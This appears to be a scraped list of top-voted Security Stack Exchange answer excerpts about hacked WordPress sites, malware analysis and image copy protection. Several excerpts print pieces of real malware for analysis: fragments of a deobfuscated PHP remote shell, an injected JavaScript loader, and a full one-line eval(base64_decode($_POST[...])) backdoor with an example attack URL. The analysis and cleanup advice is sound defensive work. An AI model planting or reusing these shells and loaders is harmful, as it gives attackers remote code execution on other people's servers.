95

There is no way to block saving of images, but here are some ideas to make it harder. To prevent right-clicking the image to save it, you can overlay a transparent div on it. The user will then right-click the div instead of the image below it and the context-menu will not show "Save image as". You could use a data URL to show the image so that there is no ...


51

I deobfuscated the code for you, which is encoded using Ascii Escapes: <?php $GLOBALS["vrvweypznipu"]="a"; $GLOBALS["griuefbdqc"]="auth_pass"; $GLOBALS["ctxvtooknmju"]="v"; $GLOBALS["pioykcea"]="default_use_ajax"; $GLOBALS["iwirmxlqtvyp"]="default_action"; $GLOBALS["dwembjc"]="color"; $GLOBALS["...


48

It's a malicious remote shell. This is the decoded version: <?php @ini_set("error_log", NULL); @ini_set("log_errors", 0); @ini_set("max_execution_time", 0); @set_time_limit(0); $data = NULL; $data_key = NULL; $GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b"; global $auth; function sh_decrypt_phase($data, $key) { $out_data = ""; for ($i =...


47

If your problem is actually "convincing your client," try this thought experiment: Put a cartoon on a web page with a red border around it and a few diagonal stripes to partly obscure the image (just enough to make it ugly but still legible). Tell your client, "I've added unbreakable copy protection." Give your client a piece of paper and a pencil and ask ...


32

The "Code" is "patching" your WordPress installation (wp-comments-post.php) and sending some information to several servers (probably c&c). Also, it is removing itself from the database. In other words, it is a hack. The email that you get is not from Google Official. It is from a Gmail account. The decoded sources are here: http://pastebin.com/...


27

As PHP does memory management and a lot of stuff by itself, finding a buffer overflow specifically in WordPress doesn't really make sense to me. Before discrediting that Penetration Tester, I'd ask him/her for documentation of the finding in question. As he/she works for said client (sounds like it, correct me if I'm wrong), it's his/her job to report such ...


23

I would enable auditd to monitor changes to the files you expect to be backdoored. You will be able to determine which account and process that is responsible for doing these changes. After installing auditd (not installed pr default on all systems), you can start monitoring changes in files. To do this, simply run the command: auditctl -w /var/www -p wa ...


21

It seems that the "actual code" you posted is packed using http://matthewfl.com/unPacker.html. When you unpacked it you obtain var jxPogLroeXQvpXkmguljZoGSNnIQKQUt=setInterval(function() { if(document.body!=null&&typeof document.body!="undefined") { clearInterval(jxPogLroeXQvpXkmguljZoGSNnIQKQUt); if(typeof window["...


20

Before doing things like this you always have to ask yourself: What is your actual goal? It is impossible to stop a determined attacker from getting your images, what you can do is make it harder for your average site visitor to get to the image. What does this gain you? Your artwork is still just as vulnerable to commercial exploits as it was before. ...


20

It could be that he found a buffer overflow in PHP or glibc which can be exploited via Wordpress. For example, 3 years ago there was a hole in gethostbyname() which could be exploited via Wordpress. It is called the GHOST vulnerability. If you have a very old OS without updates as well as a very old Wordpress that could be true.


17

I deobfuscated the code a bit: var interval = setInterval(function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(interval); // only do once per page load if (typeof window["v_bd66b32e1bc6ad91e01318e8278918f0"] == "undefined") { window["v_bd66b32e1bc6ad91e01318e8278918f0"]...


17

Don't lose your time pursuing those guys or litigating. Unless you have how to prove that you had a sizable financial loss, and you can prove the user controlling the computer that uses IP, you can not even start a litigation. You can send a mail to abuse@, but don't hold your breath. You are putting an ISP against its client, and the ISP will defend its ...


16

This is a hacking attempt that contains a special combination of characters that hides the malicious payload code using Base64 encoding. The hidden code relies on an older version of WordPress being used, like version 3.5 for example. In these older versions, there are tricks that have been found. These tricks fool the safeguards that try to prevent scripts ...


16

I would contact the business in question. They are the ones who are most directly affected and can also shut it down quickest. Of course, the phishers will probably just move on to another server to host their requests, but if the site owners act quickly, it will at least immediately invalidate any past phishing messages that have gone out, potentially ...


15

hacker could access root folder of my host, create files and change permission of file to allow them to be executed. So you have basically an unrestricted compromise of your system, and that includes all user data, database passwords, API keys … Boy, you have some passwords to change. Have fun. If your system is still running: Stop it. At this point, your ...


15

The malware in question is hosted elsewhere, and is (probably) being added by cross-site-scripting (XSS). If you have a look at the "var src" part, you'll see a long string of Base64-encoded text: ...


14

On of the side links points to http://www.moonthemes.com/themes/elegant-best-bussines-portfolio-theme/. Downloading that file using wget results in: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>...


13

I wouldn't say that the root cause of the problem is Wordpress, but rather the fact that: There is so many themes/plugins for Wordpress available from 3rd party developers, and people usually don't audit them before installing them. Since the entry barrier for PHP is very low, a lot of those 3rd party developers have no/poor IT security knowledge I think ...


12

Thanks for all of the great info and help! I have since discovered how the site was originally hacked. The site was running an old version of the plugin Mailpoet / wysija-newsletters (pre 2.6.7) Using an exploit in this plugin the attacker managed to upload malicious code which was then used to further infect the site. https://blog.sucuri.net/2014/07/...


12

If you are, as you mention, "quite new at this" you will not be able to safely remove the effects of the hack. Restart from scratch: fresh server, fresh WordPress install and keep all this up to date. You can import text/images/video data back. There are lots of resources about how to harden a server as well as WordPress. As @MarkHulkalo mentions, you can ...


12

On Wordpress, user-generated content is supposed to go into /wp-content while other file names and directories (content inside /wp-admin, /wp-includes) are mostly static and predictable as they belong to the Wordpress core. Directory listing inside /wp-content can help you enumerate uploaded media files (/uploads), themes (/themes) and most importantly ...


12

If you pop that script into a base64 decoder you get: https://gist.github.com/anonymous/914d5c5a82252dc0235995e32147c9d9 This is a reverse web shell that gives a lot of access to the server. So far, I see Server Security Information, PHP information, a PHP shell, a File Manager for uploading and downloading malicious files, a server wide search function, ...


10

GreaseMonkey (or Tampermonkey for Chrome) is a browser addon that allows you to inject custom JavaScript code in the browser on the client side. You have little to no control over it. The good news is that none of these changes will affect the contents on the server side, or the contents for other users. So if you rely on the server for your validation/...


10

When compromised, the best bet is to nuke it from orbit. Remove all files from your site, reload from a known clean image. If you don't have a known clean image, re-install fresh and migrate over the DB records after verifying that they are valid. Move image assets and any custom assets after careful review that they have not been compromised. Make ...


10

You could write an abuse email (ISP) to the hoster of this copied website (Domain Whois). The hoster should be aware about legal regulations (Copyright) and should write to the owner to put it offline. Normally you should follow the steps below: Write to website owner (Domain owner) to put site down If you do not get any response contact the ISP of this ...


10

Yes, this is rogue. This script will execute any PHP code passed as plm12345plm POST parameter. This means, an attacker can execute arbitrary PHP and -- depending on the server configuration -- further code on your server. The first GIF89a line is likely placed to bypass basic file verification during upload of the script as a GIF image. If the file could ...


10

There is nothing you do which makes it impossible for users to view the content without being able to save it. The best you can manage is to make it more difficult. And if you make it more difficult than acquiring legitimate usage rights then some (not all) of the people trying who might otherwise steal the content will pay for it - i.e. if you think the ...


10

I've been faced with that problem several times. The best solution we found was to drastically reduce the image quality. Make it acceptable for the screen but too low quality to print out - even if it's a screenshot. This works very well for art work (paintings and photographs) but I'm not certain how well it will work for a cartoonist. The above solution (...


10

What does the code do? <?php if (isset($_POST['n3d9ebc'])) { eval(base64_decode($_POST['n3d9ebc'])); } ?> It does Remote Code Execution. If this were a $_GET[] parameter, it means an attacker could do this: hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code But since it's a $_POST[] parameter, it'll be sent as ...


Only top voted, non community-wiki answers of a minimum length are eligible